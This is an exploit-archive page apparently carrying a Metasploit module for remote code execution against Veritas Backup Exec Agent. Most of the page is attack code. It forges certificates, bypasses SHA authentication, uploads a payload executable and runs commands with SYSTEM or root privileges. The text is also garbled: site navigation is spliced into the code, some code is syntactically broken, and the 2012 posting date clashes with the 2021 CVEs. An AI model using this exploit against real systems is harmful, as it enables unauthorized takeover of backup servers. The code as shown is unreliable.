

Veritas Backup Exec Agent Remote Code Execution

Authored by [Alexander Korotin](#) | Site [metasploit.com](#)

Posted [Sep 26, 2012](#)

Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them. This authentication scheme is no longer used within Backup Exec versions, but had not yet been disabled. An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root privileges depending on the platform. The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and including Backup Exec Remote Agent revision 9.3).

tags | [exploit](#), [remote](#), [arbitrary](#), [root](#)

advisories | [CVE-2021-27876](#), [CVE-2021-27877](#), [CVE-2021-27878](#)

SHA-256 | [5d2a9879ee25f3f36daab21dabc7454caa668fe4871c215806df28dda8ea3890](#) [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

Download

```
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::NDMPSocket
  include Msf::Exploit::CmdStager
  include Msf::Exploit::EXE
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Veritas Backup Exec Agent Remote Code Execution',
        'Description' => %q{
          Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of
          them.

          This authentication scheme is no longer used within Backup Exec versions, but hadn't yet been
          disabled.

          An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to
          the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root
          privileges
          depending on the platform.

          The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and
          including Backup Exec Remote Agent revision 9.3)
        },
        'License' => MSF_LICENSE,
        'Author' => ['Alexander Korotin <0xc0rs[at]gmail.com>'],
        'References' => [
          ['CVE', '2021-27876'],
          ['CVE', '2021-27877'],
          ['CVE', '2021-27878'],
          ['URL', 'https://www.veritas.com/content/support/en_US/security/VTS21-001']
        ],
        'Platform' => %w[win linux],
        'Targets' => [
          {
            'Windows',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'CmdStagerFlavor' => %w[certutil vbs psch_invokewebrequest debug_write debug_asm]
            }
          },
          {
            'Linux',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'CmdStagerFlavor' => %w[bourne wget curl echo]
            }
          }
        ],
        'DefaultOptions' => {
          'RPORT' => 10_000
        },
        'Privileged' => true,
        'DisclosureDate' => '2021-03-01',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => [UNRELIABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('SHELL', [true, 'The shell for executing OS command', '/bin/bash'],
        conditions: ['TARGET', '==', 'Linux'])
    ])

    deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
  end

  def execute_command(cmd, opts = {})
    case target.opts['Platform']
    when 'win'
      wrap_cmd = "C:\\Windows\\System32\\cmd.exe /c \"%#{cmd}%\"
    when 'linux'
      wrap_cmd = "%#{datastore['SHELL']} -c \"%#{cmd}%\"
    end

    ndmp_sock = opts[:ndmp_sock]
    ndmp_sock.do_request_response(
      NDMP::Message.new Request(
        NDMP::EXECUTE_COMMAND,
        NdmpExecuteCommandReq.new({ cmd: wrap_cmd, unknown: 0 }).to_xdr
      )
    )
  end

  def exploit
    print_status('Exploiting ...')

    ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect
    fail_with(Msf::Module::Failure::NotFound, "Can not connect to BE Agent service. #{msg_fail_reason}") unless
      ndmp_status

    ndmp_status, msg_fail_reason = tls_enabling(ndmp_sock)
    fail_with(Msf::Module::Failure::UnexpectedReply, "Can not establish TLS connection. #{msg_fail_reason}")
    unless ndmp_status

    ndmp_status, msg_fail_reason = sha_authentication(ndmp_sock)
    fail_with(Msf::Module::Failure::NotVulnerable, "Can not authenticate with SHA. #{msg_fail_reason}") unless
      ndmp_status

    if target.opts['Platform'] == 'win'
      filename = "%{rand_text_alpha(8)}.exe"
      ndmp_status, msg_fail_reason = win_write_upload(ndmp_sock, filename)
```

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 157 files

Ubuntu 76 files

LiquidWorm 23 files

Debian 21 files

nu11security 11 files

malvuln 11 files

Gentoo 9 files

Google Security Research 8 files

Julien Ahrens 4 files

T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older

File Inclusion (4,165)

File Upload (946)

Firewall (821)

Info Disclosure (2,660)

Intrusion Detection (867)

Java (2,899)

JavaScript (821)

Kernel (6,291)

Local (14,201)

Magazine (586)

Overflow (12,419)

Perl (1,418)

PHP (5,093)

Proof of Concept (2,291)

Protocol (3,435)

Python (1,467)

Remote (30,044)

Root (3,504)

Ruby (594)

Scanner (1,631)

Security Tool (7,777)

Shell (3,103)

Shellcode (1,204)

Sniffer (886)

File Archives

December 2022

November 2022

October 2022

September 2022

August 2022

July 2022

June 2022

May 2022

April 2022

March 2022

February 2022

January 2022

Older

Systems

AIX (426)

Apple (1,926)

BSD (370)

CentOS (55)

Cisco (1,917)

Debian (6,634)

Fedora (1,600)

FreeBSD (1,242)

Gentoo (4,272)

HPUX (878)

IOS (330)

iPhone (108)

IRIX (220)

Juniper (67)

Linux (44,315)

Mac OS X (684)

Mandriva (3,105)

NetBSD (255)

OpenBSD (479)

RedHat (12,469)

Slackware (941)

Solaris (1,607)


```

    }
    ).to_xdr
  )
  ndmp_payload = NdmppFileOpenExtRes.from_xdr(ndmp_msg.body)
  unless ndmp_payload.err_code.zero?
    return [false, "Error code of NDMP_FILE_OPEN_EXT (0xF308) packet: #{ndmp_payload.err_code}"]
  end

  hnd = ndmp_payload.handler
  exe = generate_payload_exe
  offset = 0
  block_size = 2048

  while offset < exe.length
    ndmp_msg = ndmp_sock.do_request_response(
      NDMP::Message.new_request(
        NDMP_FILE_WRITE,
        NdmppFileWriteReq.new({ handler: hnd, len: block_size, data: exe[offset, block_size] }).to_xdr
      )
    )
    ndmp_payload = NdmppFileWriteRes.from_xdr(ndmp_msg.body)
    unless ndmp_payload.err_code.zero?
      return [false, "Error code of NDMP_FILE_WRITE (0xF309) packet: #{ndmp_payload.err_code}"]
    end

    offset += block_size
  end

  ndmp_msg = ndmp_sock.do_request_response(
    NDMP::Message.new_request(
      NDMP_FILE_CLOSE,
      NdmppFileCloseReq.new({ handler: hnd }).to_xdr
    )
  )
  ndmp_payload = NdmppFileCloseRes.from_xdr(ndmp_msg.body)
  unless ndmp_payload.err_code.zero?
    return [false, "Error code of NDMP_FILE_CLOSE (0xF306) packet: #{ndmp_payload.err_code}"]
  end

  [true, nil]
end

def exec_win_command(ndmp_sock, filename)
  cmd = "C:\\Windows\\System32\\cmd.exe /c \"C:\\Windows\\Temp\\#{filename}\""
  ndmp_msg = ndmp_sock.do_request_response(
    NDMP::Message.new_request(
      NDMP_EXECUTE_COMMAND,
      NdmppExecuteCommandReq.new({ cmd: cmd, unknown: 0 }).to_xdr
    )
  )
  ndmp_payload = NdmppExecuteCommandRes.from_xdr(ndmp_msg.body)
  unless ndmp_payload.err_code.zero?
    return [false, "Error code of NDMP_EXECUTE_COMMAND (0xF30F) packet: #{ndmp_payload.err_code}"]
  end

  [true, nil]
end

# Class to create CA and client certificates
class NdmppCerts
  def initialize(hostname, ip)
    @hostname = hostname
    @ip = ip
    @ca_key = nil
    @ca_cert = nil
    @be_agent_cert = nil
  end

  SSL_HANDSHAKE_TYPES = {
    SSL_HANDSHAKE_TEST_CERT: 1,
    SSL_HANDSHAKE_CSR_REQ: 2,
    SSL_HANDSHAKE_CSR_SIGNED: 3,
    SSL_HANDSHAKE_CONNECT: 4
  }.freeze

  attr_reader :ca_cert, :ca_key

  def forge_ca
    @ca_key = OpenSSL::PKey::RSA.new(2048)
    @ca_cert = OpenSSL::X509::Certificate.new
    @ca_cert.version = 2
    @ca_cert.serial = rand(2**32..2**64 - 1)
    @ca_cert.subject = @ca_cert.issuer = OpenSSL::X509::Name.parse("/CN=#{@hostname}")
    extn_factory = OpenSSL::X509::ExtensionFactory.new(@ca_cert, @ca_cert)
    @ca_cert.extensions = [
      extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
      extn_factory.create_extension('basicConstraints', 'CA:TRUE'),
      extn_factory.create_extension('keyUsage', 'keyCertSign, cRLSign')
    ]
    @ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always'))
    @ca_cert.public_key = @ca_key.public_key
    @ca_cert.not_before = Time.now - 7 * 60 * 60 * 24
    @ca_cert.not_after = Time.now + 14 * 24 * 60 * 60
    @ca_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))
  end

  def sign_agent_csr(csr)
    o_csr = OpenSSL::X509::Request.new(csr)
    @be_agent_cert = OpenSSL::X509::Certificate.new
    @be_agent_cert.version = 2
    @be_agent_cert.serial = rand(2**32..2**64 - 1)
    @be_agent_cert.not_before = Time.now - 7 * 60 * 60 * 24
    @be_agent_cert.not_after = Time.now + 14 * 24 * 60 * 60
    @be_agent_cert.issuer = @ca_cert.subject
    @be_agent_cert.subject = o_csr.subject
    @be_agent_cert.public_key = o_csr.public_key
    @be_agent_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))
  end

  def default_sslpacket_content(ssl_packet_type)
    if ssl_packet_type == SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED]
      ca_cert = @ca_cert.to_s
      agent_cert = @be_agent_cert.to_s
    else
      ca_cert = ''
      agent_cert = ''
    end

    {
      ssl_packet_type: ssl_packet_type,
      hostname: @hostname,
      nb_hostname: @hostname.upcase,
      ip_addr: @ip,
      cert_id1: get_cert_id(@ca_cert),
      cert_id2: get_cert_id(@ca_cert),
      unknown1: 0,
      unknown2: 0,
      ca_cert_len: ca_cert.length,
      ca_cert: ca_cert,
      agent_cert_len: agent_cert.length,
      agent_cert: agent_cert
    }
  end

  def get_cert_id(cert)
    Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0..4].unpack('L<')
  end
end

NDMP_CONFIG_GET_AUTH_ATTR = 0x103
NDMP_SSL_HANDSHAKE = 0xF303
NDMP_EXECUTE_COMMAND = 0xF30F
NDMP_FILE_OPEN_EXT = 0xF308
NDMP_FILE_WRITE = 0xF309
NDMP_FILE_CLOSE = 0xF306

AUTH_TYPES = {
  1 => 'Text',
  2 => 'NDS',
  3 => 'BEWS',
  4 => 'SSPI',
  5 => 'SHA',
  190 => 'BEWS2' # 0xBE
}.freeze

# Response packets
class NdmppNotifyConnectedRes < XDR::Struct
  attribute :connected, XDR::Int
  attribute :version, XDR::Int
  attribute :reason, XDR::Int
end

class NdmppConnectOpenRes < XDR::Struct
```

```

        attribute :err_code, XDR::Int
    end

    class NdmConfigGetServerInfoRes < XDR::Struct
        attribute :err_code, XDR::Int
        attribute :vendor_name, XDR::String[]
        attribute :product_name, XDR::String[]
        attribute :revision, XDR::String[]
        attribute :auth_types, XDR::VarArray[XDR::Int]
    end

    class NdmConfigGetHostInfoRes < XDR::Struct
        attribute :err_code, XDR::Int
        attribute :hostname, XDR::String[]
        attribute :os, XDR::String[]
        attribute :os_info, XDR::String[]
        attribute :ip, XDR::String[]
    end

    class NdmPssHandshakeRes < XDR::Struct
        attribute :data_len, XDR::Int
        attribute :data, XDR::String[]
        attribute :err_code, XDR::Int
        attribute :unknown4, XDR::String[]
    end

    class NdmConfigGetAuthAttrRes < XDR::Struct
        attribute :err_code, XDR::Int
        attribute :auth_type, XDR::Int
        attribute :challenge, XDR::Opaque[64]
    end

    class NdmConnectClientAuthRes < XDR::Struct
        attribute :err_code, XDR::Int
    end

    class NdmExecuteCommandRes < XDR::Struct
        attribute :err_code, XDR::Int
    end

    class NdmFileOpenExtRes < XDR::Struct
        attribute :err_code, XDR::Int
        attribute :handler, XDR::Int
    end

    class NdmPFileWriteRes < XDR::Struct
        attribute :err_code, XDR::Int
        attribute :recv_len, XDR::Int
        attribute :unknown, XDR::Int
    end

    class NdmFileCloseRes < XDR::Struct
        attribute :err_code, XDR::Int
    end

    # Request packets
    class NdmConnectOpenReq < XDR::Struct
        attribute :version, XDR::Int
    end

    class NdmPssHandshakeReq < XDR::Struct
        attribute :ssl_packet_type, XDR::Int
        attribute :nb_hostname, XDR::String[]
        attribute :hostname, XDR::String[]
        attribute :ip_addr, XDR::String[]
        attribute :cert_id1, XDR::Int
        attribute :cert_id2, XDR::Int
        attribute :unknown1, XDR::Int
        attribute :unknown2, XDR::Int
        attribute :ca_cert_len, XDR::Int
        attribute :ca_cert, XDR::String[]
        attribute :agent_cert_len, XDR::Int
        attribute :agent_cert, XDR::String[]
    end

    class NdmConfigGetAuthAttrReq < XDR::Struct
        attribute :auth_type, XDR::Int
    end

    class NdmConnectClientAuthReq < XDR::Struct
        attribute :auth_type, XDR::Int
        attribute :username, XDR::String[]
        attribute :hash, XDR::Opaque[32]
    end

    class NdmExecuteCommandReq < XDR::Struct
        attribute :cmd, XDR::String[]
        attribute :unknown, XDR::Int
    end

    class NdmFileOpenExtReq < XDR::Struct
        attribute :filename, XDR::String[]
        attribute :dir, XDR::String[]
        attribute :mode, XDR::Int
    end

    class NdmPFileWriteReq < XDR::Struct
        attribute :handler, XDR::Int
        attribute :len, XDR::Int
        attribute :data, XDR::String[]
    end

    class NdmFileCloseReq < XDR::Struct
        attribute :handler, XDR::Int
    end
end

```

[Login](#) or [Register](#) to add favorites



Site Links

[News by Month](#)

[News Tags](#)

[Files by Month](#)

[File Tags](#)

[File Directory](#)

About Us

[History & Purpose](#)

[Contact Information](#)

[Terms of Service](#)

[Privacy Statement](#)

[Copyright Information](#)

Hosting By

[R01 Rec](#)

[Follow us on Twitter](#)

[Subscribe to an RSS Feed](#)